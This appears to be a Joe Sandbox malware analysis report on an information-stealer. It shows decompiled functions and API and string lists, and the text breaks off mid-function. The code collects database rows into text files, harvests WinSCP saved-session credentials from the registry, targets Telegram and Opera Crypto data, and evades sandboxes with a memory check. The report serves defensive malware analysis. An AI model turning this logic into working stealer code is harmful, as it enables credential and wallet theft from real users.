Part of subcall function 00418910: StrCmpCA.SHLWAPI(?,004485E7), ref: 004189DA
Part of subcall function 00418910: wsprintfA.USER32 ref: 004189F7
Part of subcall function 00418910: PathMatchSpecA.SHLWAPI(?,?), ref: 00418A2D
Part of subcall function 00418910: _memset.LIBCMT ref: 00418A49
Part of subcall function 00418910: lstrcatA.KERNEL32(?,\Soft\), ref: 00418A5D
Part of subcall function 00418910: lstrcatA.KERNEL32(?,0041C02C), ref: 00418A6B
Part of subcall function 00418910: lstrcatA.KERNEL32(?,004485EC), ref: 00418A7D
Part of subcall function 00418910: lstrcatA.KERNEL32(?,?), ref: 00418A91
Part of subcall function 00418910: _memset.LIBCMT ref: 00418AA5

Part of subcall function 00418910: wsprintfA.USER32 ref: 00418A16
Part of subcall function 00418910: lstrcatA.KERNEL32(?,050987D8), ref: 00418ABA
Part of subcall function 00418910: _malloc.LIBCMT ref: 00418AC2
Part of subcall function 00418910: GetTickCount.KERNEL32 ref: 00418ACF
Part of subcall function 00418910: _rand.LIBCMT ref: 00418AE3
Part of subcall function 00418910: wsprintfA.USER32 ref: 00418AF8
Part of subcall function 00418910: lstrcatA.KERNEL32(?,00000000), ref: 00418B10
Part of subcall function 00418910: FindNextFileA.KERNEL32(?,?), ref: 00418BBE
Part of subcall function 00418910: FindClose.KERNEL32(?), ref: 00418BD3

_strlen.LIBCMT ref: 0041C066

Part of subcall function 004055B0: _strlen.LIBCMT ref: 004055C2

_strlen.LIBCMT ref: 0041C12B
_strlen.LIBCMT ref: 0041C1EF
_strlen.LIBCMT ref: 0041C2B3
lstrlenA.KERNEL32(?,?,0509BF68,?,05098EF8,?,05098DB8,?,05098D40,?,05099088,?,05091568,?,05091408), ref: 0041C438
_memset.LIBCMT ref: 0041C48B

Strings

A92DAA6E, xrefs: 0041C20F
A7FDF864F, xrefs: 0041C14B
prefix, xrefs: 0041C394
countries, xrefs: 0041C361
Telegram, xrefs: 0041C00D, 0041C02C, 0041C0AC, 0041C170, 0041C234, 0041C2F8, 0041C35C, 0041C38F, 0041C3AC, 0041C3C9, 0041C3E6, 0041C403
A6F891F2*, xrefs: 0041C1D4, 0041C1F8
usertag, xrefs: 0041C408
shortcuts-custom.json, xrefs: 0041C3CE
C461824F*, xrefs: 0041C298, 0041C2BC
Opera Crypto, xrefs: 0041BA60
Opera Crypto Stable, xrefs: 0041BA54
settingss, xrefs: 0041C3B1
F8806DD0, xrefs: 0041C2D3
BC10B77*, xrefs: 0041C110, 0041C134
shortcuts-default.json, xrefs: 0041C3EB

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$_strlen$Path$Folder$File$wsprintf$Attributes$Find$CloseCountFirstFreeLibraryMatchNextOpenSpecTick_malloc_randlstrlen
String ID: A6F891F2*$A7FDF864F$A92DAA6E$BC10B77*$C461824F*$F8806DD0$Opera Crypto$Opera Crypto Stable$Telegram$countries$prefix$settingss$shortcuts-custom.json$shortcuts-default.json$usertag
API String ID: 1801395063-2082502457
Opcode ID: 2e9de2b50cddf21350f4dfb416ad278eea834aa5fddd2ee98cc9283313aea5b3
Instruction ID: d162f054bd74bc70fb7768934fba08063d3db733e71e713aecb304f96001e703
Opcode Fuzzy Hash: 2e9de2b50cddf21350f4dfb416ad278eea834aa5fddd2ee98cc9283313aea5b3
Instruction Fuzzy Hash: 0A52CFB1900318ABDB20DF50EC85EEE7339FB59745F0485AEF10956181DBB8AB84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00415240 Relevance: 87.9, APIs: 48, Strings: 2, Instructions: 386
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 34%

			E00415240(intOrPtr __ecx, intOrPtr __edx, CHAR* _a4, CHAR* _a8, CHAR* _a12, intOrPtr* _a16) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v284;
				char _v548;
				intOrPtr _v556;
				char _v560;
				char _v576;
				CHAR* _v580;
				char _v584;
				CHAR* _v588;
				char _v592;
				CHAR* _v596;
				CHAR* _v600;
				intOrPtr _v604;
				intOrPtr* _v608;
				intOrPtr _v612;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t90;
				signed int _t91;
				void* _t95;
				int _t96;
				intOrPtr _t97;
				int _t98;
				signed int _t106;
				void* _t124;
				long _t126;
				void* _t130;
				void* _t132;
				int _t133;
				intOrPtr _t134;
				CHAR* _t137;
				CHAR* _t140;
				CHAR* _t141;
				CHAR* _t144;
				void* _t145;
				void* _t148;
				void* _t169;
				CHAR* _t171;
				void* _t176;
				intOrPtr _t181;
				void* _t183;
				CHAR* _t184;
				void* _t185;
				CHAR* _t186;
				intOrPtr _t190;
				CHAR* _t198;
				intOrPtr* _t204;
				intOrPtr _t208;
				intOrPtr _t217;
				CHAR* _t220;
				intOrPtr _t231;
				void* _t241;
				CHAR* _t242;
				void* _t243;
				CHAR* _t244;
				void* _t245;
				void* _t246;
				CHAR* _t247;
				intOrPtr _t248;
				CHAR* _t249;
				signed int _t252;
				void* _t253;
				void* _t254;
				void* _t257;
				void* _t259;
				void* _t260;
				void* _t263;
				void* _t264;
				void* _t265;
				void* _t266;
				void* _t268;

				_t254 = _t253 - 0x254;
				_t90 =  *0x450664; // 0x30e242aa
				_t91 = _t90 ^ _t252;
				_v20 = _t91;
				 *[fs:0x0] =  &_v16;
				_t242 = _a12;
				_t184 = _a8;
				_v612 = __ecx;
				_t190 =  *0x452dcc; // 0x5098420
				_v588 = _a4;
				_v604 = __edx;
				_v608 = _a16;
				_t95 =  *0x453510(_t242, _t190, _t91, _t241, _t245, _t183,  *[fs:0x0], 0x43ec1b, 0xffffffff);
				_t269 = _t95;
				if(_t95 != 0) {
					_t219 =  *0x452df4; // 0x5098430
					_t96 =  *0x453510(_t242, _t219);
					__eflags = _t96;
					if(_t96 != 0) {
						_t97 =  *0x4530d0; // 0x509d250
						_t98 =  *0x453510(_t184, _t97);
						__eflags = _t98;
						if(_t98 == 0) {
							L31:
							 *[fs:0x0] = _v16;
							_pop(_t243);
							_pop(_t246);
							_pop(_t185);
							return E00429B16(_t98, _t185, _v20 ^ _t252, _t219, _t243, _t246);
						}
						L5:
						L00429B30( &_v548, 0, 0x104);
						_t220 =  *0x453058; // 0x50987d8
						lstrcatA( &_v548, _t220);
						_t247 = E0042A0BB(_t220, _t242, _t245, 0x1a);
						 *_t247 = 0;
						L0042D41F(GetTickCount());
						_t257 = _t254 + 0x14;
						_v580 = 0x1a;
						do {
							_t106 = L0042D431(_t269);
							asm("cdq");
							_push(_t106 % 0xa);
							_push(_t247);
							wsprintfA(_t247, "%s%d");
							_t257 = _t257 + 0x10;
							_t18 =  &_v580;
							 *_t18 = _v580 - 1;
						} while ( *_t18 != 0);
						_t247[0x1a] = 0;
						lstrcatA( &_v548, _t247);
						CopyFileA(_v588,  &_v548, 1); // executed
						L00429B30( &_v284, 0, 0x104);
						lstrcatA( &_v284, "\\");
						_t198 =  *0x4530c4; // 0x5098440
						lstrcatA( &_v284, _t198);
						lstrcatA( &_v284, "\\");
						lstrcatA( &_v284, _t242);
						lstrcatA( &_v284, "_");
						lstrcatA( &_v284, _t184);
						lstrcatA( &_v284, ".txt");
						_t248 =  *0x452d54; // 0x509aba0
						_t219 =  &_v592;
						_t124 =  *0x453304( &_v548,  &_v592); // executed
						_t259 = _t257 + 0x14;
						if(_t124 != 0) {
							L30:
							_t98 = DeleteFileA( &_v548); // executed
							goto L31;
						}
						_t126 =  *0x4532b8(_v592, _t248, 0xffffffff,  &_v584, _t124); // executed
						_t260 = _t259 + 0x14;
						if(_t126 != 0) {
							L29:
							 *0x4532d8(_v584);
							_t219 = _v592;
							 *0x453308(_v592);
							goto L30;
						}
						_t130 = RtlAllocateHeap(GetProcessHeap(), _t126, 0xf423f); // executed
						_v580 = _t130;
						_t132 =  *0x4532d4(_v584);
						_t263 = _t260 + 4;
						if(_t132 != 0x64) {
							L23:
							_t133 = lstrlenA(_v580);
							_t204 = _v608;
							if(_t204 != 0) {
								__eflags =  *_t204 - 2;
								if( *_t204 == 2) {
									_t134 = E00428410( *((intOrPtr*)(_t204 + 4)), _v580,  &_v284, _t133, 3); // executed
									 *0x4537d4 = _t134;
								} else {
									 *0x4537d4 = 0x80000;
								}
							} else {
								 *0x4537d4 = 0x10000;
							}
							L00429B30( &_v580, 0, 4);
							_t260 = _t263 + 0xc;
							goto L29;
						} else {
							goto L10;
						}
						do {
							L10:
							_t137 =  *0x4532f4(_v584, 0);
							_v588 = _t137;
							_t249 =  *0x4532f4(_v584, 1);
							_t140 =  *0x4532f4(_v584, 2);
							_v600 = _t140;
							_t141 =  *0x4532f4(_v584, 3);
							_t186 = _t141;
							_t244 =  *0x4532f4(_v584, 4);
							_t144 =  *0x4532f4(_v584, 5);
							_t264 = _t263 + 0x30;
							_v596 = _t144;
							_t145 =  *0x453510(_t249, "0");
							_push(4);
							_push(0);
							_push(_t249);
							if(_t145 != 0) {
								L00429B30();
								_t231 =  *0x4531cc; // 0x5098630
								_t265 = _t264 + 0xc;
								_push(_t231);
							} else {
								L00429B30();
								_t217 =  *0x452dac; // 0x5098470
								_t265 = _t264 + 0xc;
								_push(_t217);
							}
							lstrcatA(_t249, ??);
							_t148 =  *0x453510(_t186, "0");
							_push(4);
							_push(0);
							_push(_t186);
							if(_t148 != 0) {
								L00429B30();
								_t208 =  *0x4531cc; // 0x5098630
								_t266 = _t265 + 0xc;
								_push(_t208);
							} else {
								L00429B30();
								_t181 =  *0x452dac; // 0x5098470
								_t266 = _t265 + 0xc;
								_push(_t181);
							}
							lstrcatA(_t186, ??);
							if( *_t244 == 0x2d) {
								L00429B30(_t244, 0, 4);
								_t266 = _t266 + 0xc;
								lstrcatA(_t244, "0");
							}
							lstrcatA(_v580, _v588);
							lstrcatA(_v580, "\t");
							lstrcatA(_v580, _t249);
							lstrcatA(_v580, "\t");
							lstrcatA(_v580, _v600);
							lstrcatA(_v580, "\t");
							lstrcatA(_v580, _t186);
							lstrcatA(_v580, "\t");
							lstrcatA(_v580, _t244);
							lstrcatA(_v580, "\t");
							lstrcatA(_v580, _v596);
							lstrcatA(_v580, "\t");
							_t169 =  *0x4532e0(_v584, 6, _v612, _v604);
							_t171 = L00414CB0( &_v576,  *0x4532e8(), _t169, _v584, 6);
							_t268 = _t266 + 0x18;
							_v8 = 0;
							if(_t171[0x14] >= 0x10) {
								_t171 =  *_t171;
							}
							lstrcatA(_v580, _t171);
							_v8 = 0xffffffff;
							if(_v556 >= 0x10) {
								_push(_v576);
								E00429B0B();
								_t268 = _t268 + 4;
							}
							_v556 = 0xf;
							_v560 = 0;
							_v576 = 0;
							lstrcatA(_v580, "\n");
							_t176 =  *0x4532d4(_v584);
							_t263 = _t268 + 4;
						} while (_t176 == 0x64);
						goto L23;
					}
					_t184 = 0x4485e7;
					goto L5;
				}
				_t184 = 0x4485e7;
				goto L5;
			}

0x00415251
0x00415257
0x0041525c
0x0041525e
0x00415268
0x00415271
0x00415274
0x00415277
0x0041527d
0x00415283
0x0041528e
0x00415294
0x0041529a
0x004152a0
0x004152a2
0x004152ab
0x004152b3
0x004152b9
0x004152bb
0x004152c4
0x004152cb
0x004152d1
0x004152d3
0x004157b4
0x004157b7
0x004157bf
0x004157c0
0x004157c1
0x004157cf
0x004157cf
0x004152d9
0x004152e7
0x004152ec
0x004152fd
0x0041530a
0x0041530f
0x00415319
0x0041531e
0x00415321
0x00415330
0x00415330
0x00415335
0x0041533d
0x0041533e
0x00415345
0x0041534b
0x0041534e
0x0041534e
0x0041534e
0x0041535e
0x00415362
0x00415378
0x0041538c
0x004153a0
0x004153a6
0x004153b4
0x004153c6
0x004153d4
0x004153e6
0x004153f4
0x00415406
0x0041540c
0x00415412
0x00415420
0x00415426
0x0041542b
0x004157a7
0x004157ae
0x00000000
0x004157ae
0x00415443
0x00415449
0x0041544e
0x00415787
0x0041578e
0x00415794
0x0041579e
0x00000000
0x004157a4
0x00415461
0x00415467
0x00415474
0x0041547a
0x00415480
0x00415723
0x0041572a
0x00415730
0x00415738
0x00415746
0x00415749
0x0041576a
0x0041576f
0x0041574b
0x0041574b
0x0041574b
0x0041573a
0x0041573a
0x0041573a
0x0041577f
0x00415784
0x00000000
0x00000000
0x00000000
0x00000000
0x00415486
0x00415486
0x0041548f
0x0041549e
0x004154aa
0x004154b5
0x004154c4
0x004154ca
0x004154d9
0x004154e1
0x004154ec
0x004154f2
0x004154fb
0x00415501
0x00415507
0x00415509
0x0041550b
0x0041550e
0x00415521
0x00415526
0x0041552c
0x0041552f
0x00415510
0x00415510
0x00415515
0x0041551b
0x0041551e
0x0041551e
0x00415531
0x0041553d
0x00415543
0x00415545
0x00415547
0x0041554a
0x0041555c
0x00415561
0x00415567
0x0041556a
0x0041554c
0x0041554c
0x00415551
0x00415556
0x00415559
0x00415559
0x0041556c
0x00415575
0x0041557c
0x00415581
0x0041558a
0x0041558a
0x0041559e
0x004155b0
0x004155be
0x004155d0
0x004155e4
0x004155f6
0x00415604
0x00415616
0x00415624
0x00415636
0x0041564a
0x0041565c
0x00415679
0x0041569d
0x004156a2
0x004156ac
0x004156b2
0x004156b4
0x004156b4
0x004156be
0x004156c4
0x004156d1
0x004156d9
0x004156da
0x004156df
0x004156df
0x004156ee
0x004156f8
0x004156fe
0x00415704
0x00415711
0x00415717
0x0041571a
0x00000000
0x00415486
0x004152bd
0x00000000
0x004152bd
0x004152a4
0x00000000

APIs

StrCmpCA.SHLWAPI(?,05098420,30E242AA,?,?,?), ref: 0041529A
StrCmpCA.SHLWAPI(?,05098430), ref: 004152B3
_memset.LIBCMT ref: 004152E7
lstrcatA.KERNEL32(?,050987D8), ref: 004152FD
_malloc.LIBCMT ref: 00415305
GetTickCount.KERNEL32 ref: 00415312
_rand.LIBCMT ref: 00415330
wsprintfA.USER32 ref: 00415345
lstrcatA.KERNEL32(?,00000000), ref: 00415362
CopyFileA.KERNEL32(?,?,00000001), ref: 00415378
_memset.LIBCMT ref: 0041538C
lstrcatA.KERNEL32(?,004485EC), ref: 004153A0
lstrcatA.KERNEL32(?,05098440), ref: 004153B4
lstrcatA.KERNEL32(?,004485EC), ref: 004153C6
lstrcatA.KERNEL32(?,?), ref: 004153D4
lstrcatA.KERNEL32(?,0044AC7C), ref: 004153E6
lstrcatA.KERNEL32(?,?), ref: 004153F4
lstrcatA.KERNEL32(?,.txt), ref: 00415406

Strings

.txt, xrefs: 004153FA
%s%d, xrefs: 0041533F

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$CopyCountFileTick_malloc_randwsprintf
String ID: %s%d$.txt
API String ID: 4014965780-2508900824
Opcode ID: 4aa87e7b42d1919cbfdf1563ef281cd5be95d15800c9c62b1a018de3c7152d7b
Instruction ID: d39068e79c33698366a36863a9ce492e404f670c1e149b6ef1318e9c913748fc
Opcode Fuzzy Hash: 4aa87e7b42d1919cbfdf1563ef281cd5be95d15800c9c62b1a018de3c7152d7b
Instruction Fuzzy Hash: DAE18171A00314ABDB20DF60ED8DFAA7779FB48747F0045AAF60993251DA78DA80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004010B0 Relevance: 77.1, APIs: 43, Strings: 1, Instructions: 125
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E004010B0() {
				signed int _v8;
				signed int _v12;
				struct _MEMORYSTATUSEX _v76;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t12;
				void* _t15;
				signed int _t18;
				void* _t19;
				void* _t24;
				unsigned int _t26;
				void* _t27;
				unsigned int _t28;
				void* _t31;
				signed int _t32;
				signed int _t34;
				signed int _t35;
				unsigned int _t37;

				_t34 = (_t32 & 0xfffffff8) - 0x4c;
				_t12 =  *0x450664; // 0x30e242aa
				_v8 = _t12 ^ _t34;
				Sleep(1); // executed
				Sleep(1); // executed
				Sleep(1);
				Sleep(1);
				Sleep(1);
				_t15 = L00429B30( &_v76, 0, 0x40);
				_t35 = _t34 + 0xc;
				_v76.dwLength = 0x40;
				Sleep(1);
				Sleep(1);
				Sleep(1);
				Sleep(1);
				Sleep(1);
				GlobalMemoryStatusEx( &_v76); // executed
				_push(1);
				if(_t15 != 1) {
					Sleep();
					Sleep(1);
					Sleep(1);
					Sleep(1);
					Sleep(1);
					_t18 = 0;
					_t26 = 0;
				} else {
					Sleep();
					Sleep(1);
					Sleep(1);
					Sleep(1);
					Sleep(1);
					_t28 = _v76.ullTotalPhys;
					_t18 = (_t28 << 0x00000020 | _v76.dwMemoryLoad) >> 0x14;
					_t26 = _t28 >> 0x14;
				}
				Sleep(1);
				Sleep(1);
				Sleep(1);
				Sleep(1);
				Sleep(1);
				Sleep(1);
				Sleep(1);
				Sleep(1);
				Sleep(1);
				Sleep(1);
				_t37 = _t26;
				if(_t37 <= 0 && (_t37 < 0 || _t18 < 0x3d4)) {
					Sleep(1);
					Sleep(1);
					Sleep(1);
					Sleep(1);
					Sleep(1);
					ExitProcess(0);
				}
				Sleep(1);
				Sleep(1);
				Sleep(1);
				Sleep(1);
				Sleep(1);
				_pop(_t27);
				_pop(_t31);
				_pop(_t19);
				return E00429B16(_t15, _t19, _v12 ^ _t35, _t24, _t27, _t31);
			}

0x004010b6
0x004010b9
0x004010c0
0x004010cf
0x004010d3
0x004010d7
0x004010db
0x004010df
0x004010ea
0x004010ef
0x004010f4
0x004010fc
0x00401100
0x00401104
0x00401108
0x0040110c
0x00401113
0x00401119
0x0040111e
0x00401143
0x00401147
0x0040114b
0x0040114f
0x00401153
0x00401155
0x00401157
0x00401120
0x00401120
0x00401124
0x00401128
0x0040112c
0x00401130
0x00401132
0x0040113a
0x0040113e
0x0040113e
0x0040115b
0x0040115f
0x00401163
0x00401167
0x0040116b
0x0040116f
0x00401173
0x00401177
0x0040117b
0x0040117f
0x00401181
0x00401183
0x00401191
0x00401195
0x00401199
0x0040119d
0x004011a1
0x004011a5
0x004011a5
0x004011ad
0x004011b1
0x004011b5
0x004011b9
0x004011bd
0x004011c3
0x004011c4
0x004011c5
0x004011d0

APIs

Sleep.KERNEL32(00000001), ref: 004010CF
Sleep.KERNEL32(00000001), ref: 004010D3
Sleep.KERNEL32(00000001), ref: 004010D7
Sleep.KERNEL32(00000001), ref: 004010DB
Sleep.KERNEL32(00000001), ref: 004010DF
_memset.LIBCMT ref: 004010EA
Sleep.KERNEL32 ref: 004010FC
Sleep.KERNEL32(00000001), ref: 00401100
Sleep.KERNEL32(00000001), ref: 00401104
Sleep.KERNEL32(00000001), ref: 00401108
Sleep.KERNEL32(00000001), ref: 0040110C
GlobalMemoryStatusEx.KERNEL32(?), ref: 00401113
Sleep.KERNEL32(00000001), ref: 00401120
Sleep.KERNEL32(00000001), ref: 00401124
Sleep.KERNEL32(00000001), ref: 00401128
Sleep.KERNEL32(00000001), ref: 0040112C
Sleep.KERNEL32(00000001), ref: 00401130
Sleep.KERNEL32(00000001), ref: 00401143
Sleep.KERNEL32(00000001), ref: 00401147
Sleep.KERNEL32(00000001), ref: 0040114B
Sleep.KERNEL32(00000001), ref: 0040114F
Sleep.KERNEL32(00000001), ref: 00401153
Sleep.KERNEL32(00000001), ref: 0040115B
Sleep.KERNEL32(00000001), ref: 0040115F
Sleep.KERNEL32(00000001), ref: 00401163
Sleep.KERNEL32(00000001), ref: 00401167
Sleep.KERNEL32(00000001), ref: 0040116B
Sleep.KERNEL32(00000001), ref: 0040116F
Sleep.KERNEL32(00000001), ref: 00401173
Sleep.KERNEL32(00000001), ref: 00401177
Sleep.KERNEL32(00000001), ref: 0040117B
Sleep.KERNEL32(00000001), ref: 0040117F
Sleep.KERNEL32(00000001), ref: 00401191
Sleep.KERNEL32(00000001), ref: 00401195
Sleep.KERNEL32(00000001), ref: 00401199
Sleep.KERNEL32(00000001), ref: 0040119D
Sleep.KERNEL32(00000001), ref: 004011A1
ExitProcess.KERNEL32 ref: 004011A5
Sleep.KERNEL32(00000001), ref: 004011AD
Sleep.KERNEL32(00000001), ref: 004011B1
Sleep.KERNEL32(00000001), ref: 004011B5
Sleep.KERNEL32(00000001), ref: 004011B9
Sleep.KERNEL32(00000001), ref: 004011BD

Strings

@, xrefs: 004010F4

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Sleep$ExitGlobalMemoryProcessStatus_memset
String ID: @
API String ID: 1151078951-2766056989
Opcode ID: 0212d939322d51e3ee18103aa075cbd87bc22027dba05f0d192aacb56533f602
Instruction ID: 520cd0de1d638069f7d8061600a778b066578c1663a82e8de40f7cd543ac1bae
Opcode Fuzzy Hash: 0212d939322d51e3ee18103aa075cbd87bc22027dba05f0d192aacb56533f602
Instruction Fuzzy Hash: 5E315D71B943286EE320ABF25C4AF9F7E54DB45BA0F000417B70D5A1D289E65484C9F7

Uniqueness

Uniqueness Score: -1.00%

Function 004194E0 Relevance: 72.2, APIs: 38, Strings: 3, Instructions: 441
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E004194E0(CHAR* __ecx) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v283;
				char _v284;
				char _v1307;
				char _v1308;
				char _v2331;
				char _v2332;
				char _v3355;
				char _v3356;
				intOrPtr _v3364;
				int* _v3368;
				int* _v3384;
				intOrPtr _v3392;
				int* _v3396;
				char _v3412;
				intOrPtr _v3420;
				int _v3424;
				int* _v3440;
				intOrPtr _v3448;
				int _v3452;
				int* _v3468;
				intOrPtr _v3476;
				int* _v3480;
				short _v3496;
				intOrPtr _v3504;
				int* _v3508;
				int* _v3524;
				void* _v3528;
				char _v3529;
				int _v3536;
				char _v3540;
				CHAR* _v3544;
				int _v3548;
				char _v3552;
				char _v3556;
				char _v3560;
				char _v3564;
				char _v3568;
				char _v3572;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t144;
				signed int _t145;
				intOrPtr _t159;
				intOrPtr _t162;
				void* _t163;
				intOrPtr* _t168;
				void* _t171;
				CHAR* _t177;
				intOrPtr _t179;
				intOrPtr _t183;
				void* _t184;
				void* _t198;
				int _t201;
				void* _t209;
				CHAR* _t211;
				CHAR* _t216;
				int* _t229;
				void* _t230;
				intOrPtr* _t242;
				CHAR* _t265;
				CHAR* _t270;
				intOrPtr _t271;
				intOrPtr _t273;
				CHAR* _t274;
				void* _t281;
				long _t289;
				CHAR* _t293;
				void* _t294;
				signed int _t297;
				void* _t298;
				void* _t306;
				void* _t308;

				_push(0xffffffff);
				_push(E0043EAAD);
				_push( *[fs:0x0]);
				_t144 =  *0x450664; // 0x30e242aa
				_t145 = _t144 ^ _t297;
				_v20 = _t145;
				_push(_t145);
				 *[fs:0x0] =  &_v16;
				_t229 = 0;
				_t293 = __ecx;
				_v3544 = __ecx;
				_v3548 = 0;
				_v284 = 0;
				L00429B30( &_v283, 0, 0x103);
				_v3536 = 0x104;
				_v3356 = 0;
				L00429B30( &_v3355, 0, 0x3ff);
				_v2332 = 0;
				L00429B30( &_v2331, 0, 0x3ff);
				_v1308 = 0;
				L00429B30( &_v1307, 0, 0x3ff);
				L00429B30( &_v3356, 0, 0x400);
				_t262 =  &_v2332;
				L00429B30( &_v2332, 0, 0x400);
				L00429B30( &_v1308, 0, 0x400);
				_t306 = _t298 - 0xde4 + 0x54;
				_v3560 = 0x400;
				_v3556 = 0x400;
				_v3552 = 0x400;
				_t157 = RegOpenKeyExW(0x80000001, L"Software\\Martin Prikryl\\WinSCP 2\\Configuration", 0, 1,  &_v3528); // executed
				if(_t157 != 0) {
					L38:
					 *[fs:0x0] = _v16;
					_pop(_t281);
					_pop(_t294);
					_pop(_t230);
					return E00429B16(_t157, _t230, _v20 ^ _t297, _t262, _t281, _t294);
				}
				_t159 =  *0x453080; // 0x509b0f8
				_v3448 = 0xf;
				_v3452 = 0;
				_v3468 = 0;
				E004050C0( &_v3468, _t159, L00429C90(_t159));
				_v8 = 0;
				_t162 =  *0x45325c; // 0x509cc20
				_v3420 = 0xf;
				_v3424 = 0;
				_v3440 = 0;
				_t163 = L00429C90(_t162);
				_t308 = _t306 + 8;
				E004050C0( &_v3440, _t162, _t163);
				_v8 = 1;
				_v3540 = L004205E0( &_v3468,  &_v3412);
				_v8 = 2;
				_t168 = L004205E0( &_v3440,  &_v3496);
				_v8 = 3;
				_t242 = _v3540;
				if( *((intOrPtr*)(_t242 + 0x14)) >= 8) {
					_t242 =  *_t242;
				}
				if( *((intOrPtr*)(_t168 + 0x14)) >= 8) {
					_t168 =  *_t168;
				}
				_v3529 =  *0x453328(_v3528, _t168, _t242, 0x10, _t229,  &_v3564,  &_v3572) != 0;
				if(_v3476 >= 8) {
					_push(_v3496);
					E00429B0B();
					_t308 = _t308 + 4;
				}
				_t262 = 0;
				_v3476 = 7;
				_v3480 = _t229;
				_v3496 = 0;
				if(_v3392 >= 8) {
					_push(_v3412);
					E00429B0B();
					_t308 = _t308 + 4;
				}
				_v3392 = 7;
				_v3396 = _t229;
				_v3412 = 0;
				if(_v3420 >= 0x10) {
					_t262 = _v3440;
					_push(_v3440);
					E00429B0B();
					_t308 = _t308 + 4;
				}
				_v8 = 0xffffffff;
				_v3420 = 0xf;
				_v3424 = _t229;
				_v3440 = _t229;
				if(_v3448 >= 0x10) {
					_push(_v3468);
					E00429B0B();
					_t308 = _t308 + 4;
				}
				_t171 = _v3528;
				_v3448 = 0xf;
				_v3452 = _t229;
				_v3468 = _t229;
				if(_v3529 == _t229) {
					L16:
					if(_t171 != _t229) {
						RegCloseKey(_t171);
						_v3528 = _t229;
					}
					goto L18;
				} else {
					if(_t171 == _t229) {
						L18:
						_push( &_v3528);
						_push(9);
						_push(_t229);
						_push(L"Software\\Martin Prikryl\\WinSCP 2\\Sessions");
						_push(0x80000001);
						if( *0x45356c() != 0) {
							goto L38;
						}
						_t262 =  &_v3536;
						if(RegEnumKeyExA(_v3528, _t229,  &_v284,  &_v3536, _t229, _t229, _t229, _t229) != _t229) {
							L36:
							_t157 = _v3528;
							if(_t157 != _t229) {
								_t157 = RegCloseKey(_t157);
							}
							goto L38;
						} else {
							goto L20;
						}
						do {
							L20:
							lstrcatA(_t293, "\n");
							_t265 =  *0x452bfc; // 0x509cde8
							lstrcatA(_t293, _t265);
							lstrcatA(_t293, "\n");
							_t177 =  *0x4531a0; // 0x50985c0
							lstrcatA(_t293, _t177);
							_t179 =  *0x452b5c; // 0x509cd88
							 *0x4533c8(_v3528,  &_v284, _t179, 2, _t229,  &_v3356,  &_v3560);
							lstrcatA(_t293,  &_v3356);
							_t183 =  *0x452cc0; // 0x509cc68
							_v3540 = 4;
							_t184 =  *0x4533c8(_v3528,  &_v284, _t183, 0xffff, _t229,  &_v3568,  &_v3540);
							_t325 = _t184;
							if(_t184 != 0) {
								lstrcatA(_t293, ":22");
							} else {
								_t216 = E00420370( &_v3412, _t325, _v3568);
								_v8 = 4;
								if(_t216[0x14] >= 0x10) {
									_t216 =  *_t216;
								}
								lstrcatA(_t293, _t216);
								_v8 = 0xffffffff;
								if(_v3392 >= 0x10) {
									_push(_v3412);
									E00429B0B();
									_t308 = _t308 + 4;
								}
								_v3392 = 0xf;
								_v3396 = 0;
								_v3412 = 0;
								_t229 = 0;
							}
							lstrcatA(_t293, "\n");
							_t270 =  *0x452c5c; // 0x509d100
							lstrcatA(_t293, _t270);
							_t271 =  *0x453224; // 0x509cd28
							 *0x4533c8(_v3528,  &_v284, _t271, 2, _t229,  &_v2332,  &_v3556);
							lstrcatA(_t293,  &_v2332);
							_v3364 = 0xf;
							_v3368 = _t229;
							_v3384 = _t229;
							_v8 = 5;
							_t273 =  *0x452dec; // 0x509cc80
							 *0x4533c8(_v3528,  &_v284, _t273, 2, _t229,  &_v1308,  &_v3552);
							lstrcatA(_t293, "\n");
							_t274 =  *0x45315c; // 0x509ccc8
							lstrcatA(_t293, _t274);
							_t198 =  *0x453510( &_v1308, 0x4485e7);
							_t328 = _t198;
							if(_t198 != 0) {
